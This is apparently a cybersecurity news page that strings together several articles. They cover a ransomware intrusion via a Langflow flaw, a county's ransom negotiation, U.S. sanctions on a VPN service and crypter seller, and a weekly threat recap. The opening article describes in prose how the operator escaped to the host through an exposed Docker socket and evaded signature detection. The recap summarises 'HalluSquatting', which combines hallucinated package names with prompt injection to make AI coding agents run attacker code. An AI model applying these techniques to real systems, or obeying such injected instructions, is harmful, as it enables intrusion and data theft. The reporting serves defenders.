El binario ENCFORGE recuperado no tiene capacidad de exfiltración. No lleva código de red, cliente de almacenamiento en la nube ni mecanismo de preparación, y los investigadores no encontraron evidencia de filtración de datos, un sitio de filtración o un portal de pago Tor durante la sesión que observó. Su única ventaja son los datos cifrados.

El contacto de extorsión incluido en las notas de rescate es e78393397@proton.mela misma dirección de Proton Mail utilizada en la campaña anterior. Sysdig describe esto como el vínculo de atribución más fuerte entre las dos operaciones.

Los investigadores revelaron una sesión observada, no nombraron la organización y no proporcionaron ningún recuento de víctimas ni evidencia de otro despliegue de ENCFORGE.

De Langflow al anfitrión

Después de confirmar la ejecución del código, JADEPUFFER barrió el contenedor en busca de credenciales y encontró el socket Docker en /var/run/docker.sock. Su primer intento de extraer ENCFORGE del servidor de comando y control de GCP falló. En lugar de detenerse, se adaptó.

Durante cinco minutos y 24 segundos, el operador creó y revisó seis scripts de Python a través del mismo canal Langflow RCE hasta que tuvo una ruta funcional hacia el host. El primer script se creó línea por línea, manteniendo inerte cualquier solicitud para la inspección basada en firmas.

A partir del segundo, el operador codificó cada script completo en base64 y lo decodificó dentro de un exec() llamada, evitando búsquedas a nivel de shell de comandos como base64 -d. La versión final utilizó la API de Docker para activar un contenedor privilegiado con el espacio de nombres PID del host y el sistema de archivos raíz montado, ubicó el proceso de destino y copió ENCFORGE a través de /proc//rootluego lo ejecutó en el host a través de nsenter.

En todas las iteraciones, los contenedores se crearon con Privileged: true, PidMode: host, NetworkMode: hosty el sistema de archivos raíz de lectura y escritura montado en enlace. Esa es la raíz del host.

Antes de la ejecución en vivo, el operador lanzó --try-run para escanear el sistema de archivos, luego --lock para el pase de cifrado en vivo. El script final verificó el estado del proceso, leyó el registro de bloqueo y contó los archivos que terminaban en .locked.

Los investigadores no publicaron el recuento resultante; la evidencia revelada establece un intento de cifrado en vivo, no cuántos archivos de modelo o conjunto de datos se cifraron con éxito.

Sysdig evaluó la --task-id gcp_h1 marcar como evidencia que el operador estaba rastreando este host como un objetivo de GCP dentro de una campaña más amplia; una prueba de ejecución anterior en la sesión utilizó el ID de tarea gcp_test. El informe no reveló víctimas adicionales ni sitios de despliegue.

Los investigadores documentaron la campaña anterior de JADEPUFFER corrigiendo un inicio de sesión fallido en Nacos en 31 segundos. El mismo patrón se mantuvo aquí frente a un problema más difícil: el operador construyó una ruptura de host a través del socket Docker expuesto cuando su ruta de entrega preferida estaba bloqueada.

Parche Langflow y luego proteja los modelos

Los investigadores estiman que reconstruir un modelo de producción de IA una vez cifrado podría costar entre 75 000 y 500 000 dólares por modelo en tiempo de ingeniería y computación de GPU en la nube.

Los entornos de producción a menudo ejecutan múltiples variantes especializadas en almacenamiento compartido, por lo que una sola ejecución de ENCFORGE podría cifrar múltiples variantes almacenadas en el mismo sistema de archivos accesible. Si los datos de capacitación se encuentran en el mismo host, la organización debe reconstruirlos antes de que pueda comenzar cualquier reentrenamiento.

Binario SHA-256: empaquetado 8cb0c223b018cecef1d990ec81c67b826eb3c30d54f06193cf69969e9a8baea2; desempaquetado ea7822eac6cecef7746c606b862b4d3034856caf754c4cf69533662637905328.

Ciberseguridad

Sysdig ha publicado las direcciones fuente y C2, la huella digital de la clave RSA-2048 integrada y una regla YARA en su informe completo.

  • Actualice Langflow a 1.9.1 o una versión compatible actual. Versión 1.3.0 cerrada CVE-2025-3248el vector de entrada para esta campaña, pero desde entonces CISA ha agregado dos vulnerabilidades Langflow más a su catálogo KEV: CVE-2026-33017una falla de RCE no autenticada corregida en 1.9.0, agregada a KEV el 25 de marzo de 2026; y CVE-2026-55255una omisión de autorización entre usuarios corregida en 1.9.1, agregada el 7 de julio de 2026.
  • Rote las claves del proveedor de IA, las credenciales de la nube, los secretos de la base de datos y cualquier otro token accesible al proceso de Langflow. La aplicación de parches no revoca las credenciales ya recopiladas a través de una instancia vulnerable.
  • Eliminar /var/run/docker.sock desde cualquier contenedor que no lo requiera. Cuando el acceso al socket sea inevitable, alcancelo a través de un proxy de configuración limitada; una implementación estándar de Langflow generalmente no necesita crear contenedores, y el acceso sin restricciones al socket Docker debe tratarse como una configuración incorrecta.
  • Alerta sobre procesos de aplicaciones que llaman a las API de creación de contenedores de Docker, contenedores lanzados con Privileged: true o PidMode: hostmontajes de enlace host-raíz y nsenter ejecución desde el interior de un contenedor.
  • Mantenga los pesos de los modelos, los índices vectoriales y los conjuntos de datos de entrenamiento en instantáneas inmutables o fuera de línea. Supervise esos directorios para detectar .locked creación de archivos.

Hacker News se puso en contacto con el equipo de investigación de amenazas de Sysdig para obtener más detalles sobre el alcance de la campaña de la flota y la confianza en la atribución; Sysdig no había respondido mediante publicación.

Los artefactos del modelo ahora pertenecen al mismo nivel de recuperación que el código fuente y las bases de datos de producción. Una organización que puede reconstruir la aplicación pero no puede restaurar sus pesos, índices o estado de entrenamiento no tiene una ruta de regreso limpia.

Game Cheat Spyware, 24-Hour Ransomware, Chrome Sync Stalking + 12 More Stories – CYBERDEFENSA.MX

A lot of this week’s trouble starts with something that looks close enough.

A familiar repo. A useful installer. A harmless sync setting. Then the handoff goes bad, the box starts talking to someone else, and the damage moves faster than the explanation.

Old bugs are back, weak defaults are earning their keep, and some attack paths are so plain they barely feel like research. Here’s the mess.

The lesson is not “trust nothing.” It is to stop granting trust in bulk. Check the repo, the installer, the account, the exposed service. Small shortcuts keep turning into full attack paths.

And when a bug looks old, awkward, or too simple to matter, assume someone has already found a use for it. Patch the boring stuff. Tighten the defaults. Watch the handoffs.

Una agencia de EE.UU. pagó un millón de dólares tras casi un mes de negociación con un grupo de ransomware – CYBERDEFENSA.MX

Generalmente, las instituciones públicas siempre se niegan a asumir el pago de rescates por ataques de ransomware que exigen los actores de amenazas al comprender que eso no garantiza obtener los datos cifrados o que las copias sean destruidas y a sabiendas de que son una manera de ayudar a financiar a estos grupos.

Sin embargo, hay excepciones. Ciertos organismos, desesperados o preocupados por las consecuencias sobre los ciudadanos, acaban cediendo a los chantajes de los cibermalos. Eso es lo que pasó con una agencia pública estadounidense que fue víctima del grupo de extorsión Kairós. Tras un largo período de 28 días de negociaciones, la institución acabó desembolsando un rescate de un millón de dólares. 

Según el informe de Ransom-ISAC, los delincuentes comenzaron exigiendo 3 millones de dólares, mientras que la organización afectada intentó rebajar esa cifra con varias ofertas, que fueron desde los 100.000 hasta los 430.000 dólares. 

Sin embargo, los atacantes mantuvieron la presión y lanzaron un ultimátum: pagar un millón de dólares antes de una fecha límite o publicar toda la información robada.

Curiosamente, durante ese proceso, Kairos no recurrió al cifrado de los sistemas, como ocurre en muchos ataques de ransomware. En su lugar, basó toda su estrategia en amenazar con difundir los datos que aseguraba haber sustraído. Para aumentar la presión, incluso hizo referencia a carpetas especialmente sensibles, como una relacionada con la fiscalía, advirtiendo de que su publicación podría tener un gran impacto.

Según explica Ransom-ISAC, los tiempos que manejaba el organismo responden a las habituales consultas internas que se requerían para hacer el pago. «Las respuestas de la entidad afectada son coherentes con las de una organización que ganaba tiempo mientras se coordinaban las decisiones legales, de liderazgo, financieras y de comunicación», señala el informe.

Una vez recibido el dinero, Kairos envió un archivo que supuestamente demostraba que había suprimido la información robada. Sin embargo, los investigadores advierten de que esa prueba no permite verificar que los datos fueran eliminados permanentemente. 

«La ‘prueba’ proporcionada no era técnicamente verificable y no debe considerarse como evidencia de que los datos robados fueron destruidos», concluye el informe. De este modo, y como suele suceder, aunque la víctima se aflojó el bolsillo para evitar una posible filtración, nunca pudo tener la certeza de que los ciberdelincuentes hubieran cumplido su palabra.

¿De qué agencia hablamos?

El informe de Ransom-ISAC oculta la identidad de la víctima por motivos de privacidad. Sin embargo, a partir de la transcripción de la negociación y otros indicios, los investigadores consideran que podría tratarse del condado de Union (Ohio), aunque no lo confirman de forma definitiva. Entre las pistas figuran nombres de archivos como Union.xlsx y union.rar, además de que la víctima se describe como «un condado pequeño con recursos limitados».

El autor del artículo añade que hizo su propia investigación y comprobó que el condado de Union reconoció públicamente el año pasado haber sufrido un ciberataque en el que se robaron datos de decenas de miles de residentes. No obstante, ni el condado ni Kairos han reconocido que se trate del mismo incidente.
 

Estados Unidos sanciona a First VPN y administrador por apoyar ransomware

El Departamento del Tesoro está imponiendo sanciones a First VPN y a su administrador por supuestamente vender servicios a operadores de ransomware, así como a otra persona que ayuda a las bandas de ransomware.

First VPN Services, o 1VPNS, estaba “profundamente arraigado en el ecosistema cibercriminal” y apareció en prácticamente todas las investigaciones de Europol en los últimos años, dijo el organismo encargado de hacer cumplir la ley después de una operación dirigida al servicio en mayo.

Oficina de Control de Activos Extranjeros (OFAC) del Tesoro sancionó a 1VPNS así como a su presunto administradorciudadano ucraniano Dmytro Rashevskyi, el lunes junto con el Reino Unido. La organización proporcionó servicios de anonimato que podrían ser legítimos en algunos casos, pero 1VPNS se publicitó en foros en línea sobre delitos cibernéticos durante más de una década, promocionando su negativa a cooperar con las autoridades, dijo la oficina.

«Numerosos grupos de ransomware han comprado infraestructura de 1VPNS, que han aprovechado en ataques a empresas e instituciones estadounidenses, incluso para ocultar los orígenes de sus ataques, implementar malware y gestionar datos exfiltrados», dijo la OFAC. «Las víctimas de ataques de ransomware que implicaron el uso de la infraestructura 1VPNS incluyeron empresas estadounidenses, empresas de servicios financieros, hospitales y gobiernos municipales».

El Tesoro también sancionó al ciudadano bielorruso Yegeniy Vladimirovich Silayev por supuestamente vender “criptadores”, herramientas utilizadas para disfrazar ransomware y otro malware, a operadores de ransomware.

«A diferencia de las herramientas de cifrado legítimas, que están diseñadas para proteger los datos y la privacidad de las personas que los poseen, los cifradores están diseñados específicamente para hacer que el malware sea más sigiloso y eficaz disfrazándolo como archivos inofensivos», dijo la OFAC.

Las designaciones de sanciones del Tesoro encajan con sanciones cibernéticas separadas y no relacionadas que los gobiernos europeos aplicaron a partir del lunes. El FBI ha emitido previamente una alerta sobre el primer servicio VPN.

La firma de inteligencia Blockchain TRM Labs dijo que ha visto a 1VPNS vender sus servicios a operadores de ransomware por precios que van desde $723 por Anubis hasta $58 por Sinobi.

«Las cantidades son pequeñas porque las suscripciones de infraestructura son pequeñas», afirmó Ari Redbord, jefe global de políticas y asuntos gubernamentales de la empresa. escribió en LinkedIn. «Un grupo de ransomware con nombre que paga a un facilitador con nombre en cadenas públicas todavía deja un rastro que los investigadores pueden seguir después del hecho».

Las víctimas vinculadas a la infraestructura de First VPN Service incluyen municipios, hospitales y empresas de servicios financieros de EE. UU.

Europol dijo que había arrestado al administrador de 1VPNS en su operación de mayo, pero no lo nombró.

El Departamento del Tesoro no respondió de inmediato a una pregunta sobre si sus sanciones estaban dirigidas a esa misma persona arrestada.

Tim Starks

Escrito por Tim Starks

Tim Starks es reportero senior de CyberScoop. Sus paradas anteriores incluyen trabajar en The Washington Post, POLITICO y Congressional Quarterly. Originario de Evansville, Indiana, se ocupa de la ciberseguridad desde 2003. Envíe un correo electrónico a Tim aquí: tim.starks@cyberscoop.com.

EE.UU. sanciona al primer vendedor de criptomoneda de malware y servicio VPN por soporte de ransomware – CYBERDEFENSA.MX

La Oficina de Control de Activos Extranjeros (OFAC) del Departamento del Tesoro de Estados Unidos ha designado dos personas y un proveedor de servicios VPN para permitir las actividades maliciosas de los actores de ransomware y otros ciberdelincuentes, incluidos los ataques de ransomware contra estadounidenses.

La VPN, llamada Primer servicio VPN (1VPN), ha sido acusado de ofrecer sus herramientas a grupos de ransomware, junto con su administrador ucraniano de 45 años, Dmytro Rashevskyi. El departamento también sancionó a Yegeniy Vladimirovich Silayev, un ciudadano bielorruso, por vender cifrados para ayudar a ocultar ransomware y otro malware como programas seguros para evitar ser detectados por herramientas de seguridad.

La primera VPN fue desmantelada en mayo de 2026 como parte de una operación conjunta de aplicación de la ley por parte de las autoridades europeas y norteamericanas para ayudar a los actores criminales a ocultar los orígenes de los ataques de ransomware, robo de datos, escaneo y ataques de denegación de servicio. El servicio ha estado operativo desde 2014, anunciando que no mantiene un registro de las identidades o actividades de los usuarios ni coopera con las autoridades para abordar las actividades ilegales que se originan en los servidores que alquila a los clientes.

Según el Tesoro, se dice que varios grupos de ransomware compraron First VPN para llevar a cabo ataques a empresas e instituciones estadounidenses y ocultar sus verdaderos orígenes, implementar malware y gestionar datos exfiltrados. Las víctimas de ataques de ransomware que involucraron la infraestructura VPN incluyeron empresas estadounidenses, empresas de servicios financieros, hospitales y gobiernos municipales.

Los grupos de ransomware que utilizan servicios proporcionados por las partes designadas supuestamente causaron miles de millones de dólares en pérdidas a empresas estadounidenses y proveedores de infraestructura crítica, dijeron funcionarios estadounidenses.

Ciberseguridad

«Rashevskyi ha utilizado identidades falsas, incluidas ‘Maksim Sorin’ y ‘Roman Chabanenko’, para comprar infraestructura de empresas que de otro modo podrían negarse a hacer negocios con él debido a quejas de abuso por parte de proveedores de servicios de Internet sobre actividades ilegales originadas en los servidores 1VPNS», dijo el departamento.

El Reino Unido y la UE imponen sanciones a personas y entidades rusas

La revelación coincide con las sanciones del Reino Unido y la UE a las redes cibernéticas rusas por sus «intentos persistentes y cada vez más imprudentes de sembrar caos y división en toda Europa». Las sanciones se dirigen a 24 personas y entidades detrás de operaciones cibernéticas e híbridas destructivas, incluidos operadores involucrados en redes proxy vinculadas a los Servicios de Inteligencia Rusos (RIS).

Esto incluye a los altos dirigentes de la Dirección Principal de Inteligencia (GRU) de Rusia, Vyacheslav Stafeyev, Ivan Senin e Ivan Kasyanenko, por su papel en la dirección de las operaciones de amenazas híbridas y cibernéticas del GRU. En conjunto, Al Centro 16 del Servicio Federal de Seguridad (FSB) se le atribuyen operaciones de sabotaje perturbadoras contra la red eléctrica de Polonia a finales del año pasado.

«La división cibernética de la Unidad 29155 de GRU trabajó con ciberdelincuentes, incluida la empresa IMPULS, para reclutar piratas informáticos y especialistas cibernéticos de universidades y academias de toda Rusia», dijo el gobierno del Reino Unido. dicho.

Las sanciones también están dirigidas a las personas detrás de Lumma Stealer por permitir a los ciberdelincuentes recopilar información confidencial a gran escala de dispositivos comprometidos. Se dice que Rusia utilizó las credenciales robadas del ladrón para llevar a cabo operaciones de ciberespionaje contra objetivos en todo el mundo para apoyar los objetivos del Kremlin.

«Los ciberdelincuentes, los autoproclamados hacktivistas y las empresas privadas vinculadas a Rusia, incluidos los actores que operan bajo sus instrucciones, dirección o control, también han llevado a cabo, habilitado y facilitado una amplia gama de actividades maliciosas», afirmó la UE. dicho.

Ciberseguridad

«Condenamos enérgicamente el comportamiento de Rusia y el uso indebido de este ecosistema cibernético, dirigido a servicios públicos e infraestructura crítica, causando perturbaciones y pérdidas financieras. Al denunciar el comportamiento malicioso de Rusia e imponer costos a los responsables de tales actividades, la UE subraya su determinación de defender la rendición de cuentas en el ciberespacio».

Los objetivos patrocinados por el Estado ruso van tras los enrutadores

Las sanciones también llegan contra el fondo de un nuevo aviso emitido por la Oficina Federal de Investigaciones (FBI) de EE. UU. sobre la explotación por parte de ciberactores del FSB Center 16 de dispositivos de red vulnerables y mal configurados en todo el mundo para piratear de manera oportunista múltiples redes del sector de infraestructura crítica.

«Los ciberactores del Centro FSB ruso 16 utilizan principalmente el escaneo para identificar dispositivos de red mal configurados, principalmente enrutadores, para su explotación», dijo la agencia. «Los actores buscan rangos de IP de Internet con agentes activos del Protocolo simple de administración de red (SNMP) que aceptan cadenas de comunidad comunes o predeterminadas para la autenticación».

Estos análisis, que se ejecutan a través de servidores proxy, consisten en solicitudes de configuración SNMP desde una dirección IP falsificada que contiene identificadores de objetos (OID) que indican al agente SNMP en dispositivos de red mal configurados que copie su configuración en un archivo y la transfiera a un servidor privado virtual (VPS) controlado por un atacante o a un servidor FTP comprometido.

La actividad también implica abusar de vulnerabilidades y exposiciones comunes (CVE) en dispositivos Cisco, como CVE-2018-0171 y CVE-2008-4128como una forma de descubrir y explotar dispositivos de red mal configurados. Desde entonces, la Agencia de Seguridad de Infraestructura y Ciberseguridad de EE. UU. (CISA) ha agregado CVE-2008-4128 a sus vulnerabilidades explotadas conocidas (KEV) catálogo, lo que requiere que las agencias federales apliquen las correcciones antes del 16 de julio de 2026.

ShareFile Threat, Citrix Bleed 2 Ransomware, AI Coding Attacks, and More – CYBERDEFENSA.MX

Somewhere right now, a security tool is quietly finding bugs faster than any human can fix them. That’s supposed to be the good news. The catch is that the attackers have the same tools, pointed the other way, and they don’t file tickets.

That’s the shape of this week. Trusted code turns on the people who installed it. Old bugs from last year are still landing because the fix sat in a queue too long. Fake installers, poisoned packages, systems left facing the open internet, and helpful little AI assistants running instructions that were never yours.

The gap between «patch exists» and «already exploited» keeps shrinking, and nobody’s closing it. None of it is exotic. That’s what wears you down. Same ordinary mistakes, just happening faster than we can keep up.

Here’s the full mess, top to bottom.

⚡ Threat of the Week

Progress Tells ShareFile Customers to Shut Down Storage Zone Controllers — Progress urged customers to shut down Windows servers running Storage Zone Controllers, citing a credible external security threat. The company has temporarily disabled access to the affected accounts, a step it says it took «out of an abundance of caution» while it works with internal and external security experts. The exact nature of the threat is unknown. There are no indications of unauthorized access to any ShareFile accounts or data.

🔔 Top News

  • Critical Zimbra Flaw Patched — Zimbra is urging customers to apply updates to address a critical security vulnerability impacting the Classic Web Client that could result in arbitrary code execution. The vulnerability has been described as a case of stored cross-site scripting (XSS) that could allow specially crafted emails to execute malicious scripts in a user’s session. It has yet to be assigned a CVE identifier. «The update fixes a security issue in the Classic Web Client where a specially crafted email could run malicious code when the email is opened,» Zimbra said. «If exploited, it could allow access to mailbox information, session data, or account settings.»
  • Jscrambler npm Package Compromised — The Jscrambler npm package was compromised to publish multiple versions containing a Rust-based information stealer designed to steal developer secrets from Windows, macOS, and Linux machines. According to Jscrambler, the attack was pulled off using a compromised npm publishing credential. The activity overlaps with IronWorm, which was first documented by JFrog last month. «The malware has shed its Linux-only skin, deploying a three-platform CSI container to target macOS and Windows, expanding its persistence, and automating its own propagation via direct registry PUT operations,» the company said.
  • New GigaWiper Backdoor Detailed — Microsoft shed light on a new post-compromise backdoor called GigaWiper that comes with three distinct destructive ways to render a machine inoperable: wipe the whole disk, overwrite the Windows drive, or run fake «ransomware» that encrypts files with a key it never saves. In addition, it can take screenshots, record the screen, and launch a hidden VNC session. The malware artifacts are similar to another backdoor codenamed BLUERABBIT, which is assessed to be the work of an Iran-nexus threat actor.
  • SHELLSTORM, a Modern Web Shell Access Brokerage Operation — More than 1.4 million domains have been targeted as part of a large-scale operation that exploited 27 CVEs in WordPress plugins to deploy web shells on compromised servers. The largest number of infections have been reported in Taiwan, the U.S., Germany, France, and the U.K. The access provided by the web shell is then used to deliver the SNOWLIGHT dropper and the VShell backdoor. The activity has been codenamed SHELLSTORM. The activity is assessed to be the work of a Chinese or Chinese-speaking threat actor.
  • HalluSquatting Can Trick AI Coding Assistants Into Installing Botnets — While artificial intelligence (AI) tools are prone to hallucinations, new research has detailed a new iteration of slopsquatting and phantom squatting called HalluSquatting. The technique essentially involves registering legitimate-sounding resource names invented by an AI agent, registering them first, and then waiting for the assistant to run the malicious code embedded in the code. The attack pairs hallucinations with prompt injections to trick the agent into executing attacker-controlled instructions.

‎️‍🔥 Trending CVEs

Bugs drop weekly, and the gap between a patch and an exploit is shrinking fast. These are the heavy hitters for the week: high-severity, widely used, or already being poked at in the wild.

Check the list, patch what you have, and hit the ones marked urgent first — From BRLY-2026-037 through BRLY-2026-042 (U-Boot), CVE-2026-50746, CVE-2026-50747, CVE-2026-50748, CVE-2026-54400, CVE-2026-55115, CVE-2026-54402, CVE-2026-55116 (Ubiquiti Unifi), CVE-2026-40138, CVE-2026-40139, CVE-2026-40140, CVE-2026-40141 (BeyondTrust Remote Support and Privileged Remote Access), CVE-2026-11405 (Tenda), CVE-2026-43499 aka GhostLock, CVE-2026-46215 (Linux Kernel), CVE-2026-53359 aka Januscape (KVM/x86), CVE-2026-52830 (fast-mcp-telegram), CVE-2026-57992 (Microsoft Edge), CVE-2026-11712, CVE-2026-11708, CVE-2026-11595 (IBM WebSphere Application Server), CVE-2026-12184, CVE-2026-14355 (PHP), CVE-2026-52761, CVE-2026-52747 (OWASP ModSecurity), CVE-2026-14898 (OpenAI Codex for macOS), CVE-2026-13753 (HP Deskjet 2800 Printer Series), CVE-2026-10706, CVE-2026-10708 (Adalo Database API), CVE-2026-15112, CVE-2026-15129 (Google Chrome), CVE-2026-12116, CVE-2026-14261 (Xerte Online Toolkit), CVE-2026-13461, CVE-2026-13462 (PayRange Android app), CVE-2026-0288 (Palo Alto Networks PAN-OS), CVE-2026-47291 (Microsoft Windows HTTP.sys), CVE-2026-15146 (GNU Wget), CVE-2026-31694 (Linux FUSE), CVE-2026-54432 (Roundcube webmail), CVE-2026-14544 (HP Linux Imaging and Printing), CVE-2026-13126, CVE-2026-57260, CVE-2026-57248, CVE-2026-57246 (Foxit PDF Reader and PDF Editor), CVE-2026-6896, CVE-2026-13320 (GitLab CE and EE), CVE-2025-14179 (pdo_firebird), and CVE-2025-14180 (PDO PostgreSQL)

🎥 Cybersecurity Webinars

  • Learn to Kill a Rogue AI Agent Before It Leaks Your Secrets → Guardrails alone won’t save you. Okta Threat Intelligence Director Jeremy Kirk went hands-on with OpenClaw and watched agentic AI leak credentials, bypass safety controls, and turn into a live attack surface. In this webinar, he turns that into steps you can apply today: treat agents as first-class identities, enforce least-privilege access, use short-lived secrets, and hit the kill switch on shadow AI. Real attacks, real fixes. Save your seat.
  • Your Team Ships 50x More Code. Humans Can’t Review It Anymore → Frontier models like Mythos are compressing dev timelines past the point humans can review what humans build. Chainguard Field CISO John Sapp shows why that’s an architectural problem, not a velocity one: your attack surface is expanding in real time, adversaries have the same models, and CVE-based remediation breaks down at machine speed. Leave with a secure-by-default strategy and the language to take it to your board. Save your seat.

📰 Around the Cyber World

  • Compromising AI Gateways for Cryptomining — Threat actors have been observed compromising AI gateways such as LiteLLM Proxy connected to Amazon Bedrock services to deploy payloads that communicate with cryptomining infrastructure for unauthorized compute activity. Initial access to the LiteLLM Proxy EC2 instance is said to have been facilitated via internet-exposed SSH. «While the ultimate impact in this case appeared to be unauthorized cryptomining, the incident is notable because of where it occurred,» Darktrace said. «The compromised asset sat at the intersection of cloud infrastructure, identity, and AI services. The incident demonstrates why organizations should treat AI infrastructure as part of their critical attack surface rather than as a standalone application tier.»
  • Exploitation of CVE-2026-1207 Reported — Threat actors are actively exploiting a security flaw in Django (CVE-2026-1207), an SQL injection flaw that could result in remote code execution. «Observed exploitation volumes remain steady week-over-week, indicating sustained interest from threat actors,» CrowdSec said. «Most observed attacks involve focused reconnaissance to identify vulnerable Django and PostGIS configurations, suggesting sophisticated targeting rather than broad spraying.»
  • Multi-Stage Infection Leads to Node.js Backdoor — A malicious ZIP file containing a Windows shortcut (LNK) is being used to execute a hidden PowerShell command that downloads a legitimate node.exe binary and deploys a NodeJS-based backdoor. «The malware also uses the EtherHiding technique, leveraging the TON blockchain to retrieve its command-and-control (C2) address,» LevelBlue said. «The campaign begins with a spam email targeting the hospitality sector using booking-themed lures. The email contains a link hosted on Google Share, which is abused by the threat actor to make it look legit and also evade email security filtering.»
  • Intrusions Exploit Citrix Bleed 2 — Threat actors are exploiting Citrix Bleed 2 (CVE-2025-5777) to deploy the DragonForce ransomware. «After gaining access, the attacker followed a consistent post-compromise pattern: escalate to SYSTEM through a registry-symlink/AppMgmt privilege-escalation trick, create rogue local admin accounts, and establish persistence with legitimate remote access tools like ScreenConnect and Zoho Assist,» Huntress said. «In the most advanced case, the operation ended with DragonForce ransomware deployment, which is why the blog’s main takeaway is urgent action: patch exposed NetScaler appliances, retain and review logs, terminate outstanding sessions, and audit for suspicious accounts and remote-management tooling.» The cybersecurity company said it observed half a dozen intrusions across unrelated organizations in the first half of 2026 using the same repeatable seven-step attack chain, indicating a highly standardized operator playbook rather than one-off compromises.
  • Fake Chinese VPN Drops GoodPersonRAT — An MSI file masquerading as an installer for Kuailian VPN (aka LetsVPN) has been observed dropping and executing an encrypted RAT called GoodPersonRAT that provides attackers with complete control over a victim’s machine and its data. «Several features are implemented, such as full remote control, keylogging, browser manipulation, persistence, and auto-updating,» Threatdown said.
  • Fake Braintree NuGet Package Delivers Skimmer — A malicious .NET package named Braintree.Net has been found to impersonate Braintree’s legitimate Braintree SDK while deploying a multi-stage .NET implant that intercepts live payment card data, exfiltrates Braintree merchant API keys, and harvests host environment secrets upon assembly load. It also facilitates token theft, avoids sandboxes, and implements production-only gating. «This split behavior allows the attacker to deliberately target payment data in production, while environment reconnaissance casts a wider net,» Socket said.
  • RedHook Android Malware Uses Wireless ADB for Shell Access — A resurfaced version of the RedHook Android trojan has incorporated new, sophisticated, and malicious functionalities, including autonomous privilege abuse, expanded command-and-control capabilities, and a robust persistence stack. «While retaining core RAT functionalities, such as screen streaming and keylogging, the latest iterations demonstrate a sophisticated shift toward privilege abuse,» Group-IB said. «RedHook abuses Android’s ADB Wireless Debugging features to autonomously obtain shell-level access.» Recent activity indicates an expansion of targeting beyond Vietnam to include users in Indonesia, suggesting a broader regional focus across Southeast Asia. The malware is distributed via spoofed government and financial websites, but the malicious APK payloads are hosted on reputable cloud and development platforms, including AWS S3 Buckets and GitHub repositories, likely in an attempt to enhance delivery reliability.
  • Phishing Campaign Targets Russian Aerospace Organizations — A spear-phishing campaign disguised as a legitimate business invoice targets aerospace organizations in Russia. «The phishing email impersonates a legitimate Russian research institute associated with aerospace and aviation systems and is delivered using a spoofed domain designed to mimic the organization,» Seqrite Labs said. «The malicious email contains a password-protected attachment that ultimately deploys additional payloads on the victim’s system. Analysis indicates that the threat actor’s primary objective is to establish persistent remote access by silently configuring AnyDesk for unattended access, exfiltrating AnyDesk configuration data to an attacker-controlled email account, and implementing persistence mechanisms to retain long-term control of the compromised host.» The activity overlaps with previously documented campaigns attributed to Rare Werewolf (aka Librarian Ghouls), which is known to target organizations in Russia, Belarus, and Kazakhstan.
  • Helix Data Extortion Crew Emerges — A new data extortion group called Helix is employing voice phishing (vishing), device code phishing, and multi-factor authentication (MFA) abuse to steal data from SharePoint environments. Helix is said to have emerged from the BlackFile (aka UNC6671) and ShinyHunters (aka UNC6661) ecosystem. BlackFile has also splintered into Pink and Redact following its shutdown in April 2026. «In the kill chain, a single compromised identity served as the throughline from initial access to exfiltration. However, we have also observed what appears to be a tactical split,» ReliaQuest said. «A first user is compromised through vishing and used for data exfiltration, quietly enumerating and bulk-downloading SharePoint libraries over a period of days. A second user is then compromised separately, often days or even weeks later, and appears to be used solely to deliver the extortion message internally via Microsoft Teams and email. The second account carries no exfiltration activity. It appears to exist in the operation for one purpose, which is to post the extortion demand inside the target’s own collaboration environment.»
  • Microsoft Warns of Increase in Number of Windows Security Updates — Microsoft has warned customers to expect a spike in the number of security updates for Windows, as it uses AI techniques like MDASH to find more zero-day vulnerabilities. «The pace of vulnerability discovery is changing with advances in AI making it possible to find more issues, faster, across more code, with new mechanisms that can accelerate both discovery and analysis,» the company said. «The fastest way to reduce customer exposure is to find issues before attackers can use them. Windows is expanding its ability across the platform to find issues earlier, accelerate the engineering work to fix them, strengthen validation, and deliver timely, high-quality updates that keep customers protected.»

🔧 Cybersecurity Tools

  • Caeruleus → Praetorian has released Caeruleus, a free open-source toolkit that folds the whole Bluetooth Low Energy testing workflow into one Go binary. Running on Linux/BlueZ, it lets testers scan devices, read or write the GATT tree, capture notifications, fuzz characteristics, and run security checks, replacing the usual hcitool, gatttool, and bettercap mix. Every command can output JSON for scripting and AI agents.
  • PhantomFS → It is a free open-source Windows honeypot that uses the Projected File System (ProjFS) to project convincing decoy files, credentials, financials, and SSH keys, into a virtual directory that lives only in memory and never hits disk. The moment an attacker or insider opens one, it writes a Windows Event Log entry and fires a desktop Toast alert with the filename, timestamp, and process context, giving high-confidence detection with no tuning, ML, or cloud.

Disclaimer: This is strictly for research and learning. It hasn’t been through a formal security audit, so don’t just blindly drop it into production. Read the code, break it in a sandbox first, and make sure whatever you’re doing stays on the right side of the law.

Conclusion

The lesson this week is simple. Every shortcut we took to move faster is now a door someone else can walk through. The package you trusted. The remote tool is left running. The AI that does whatever it reads. We built the shortcuts. Someone else is using them.

So patch the urgent stuff first, close the sessions you forgot were open, and go check what’s still facing the internet that shouldn’t be. None of it is exciting. It’s just the part nobody goes back to until it’s too late. See you next week, if nothing breaks before then.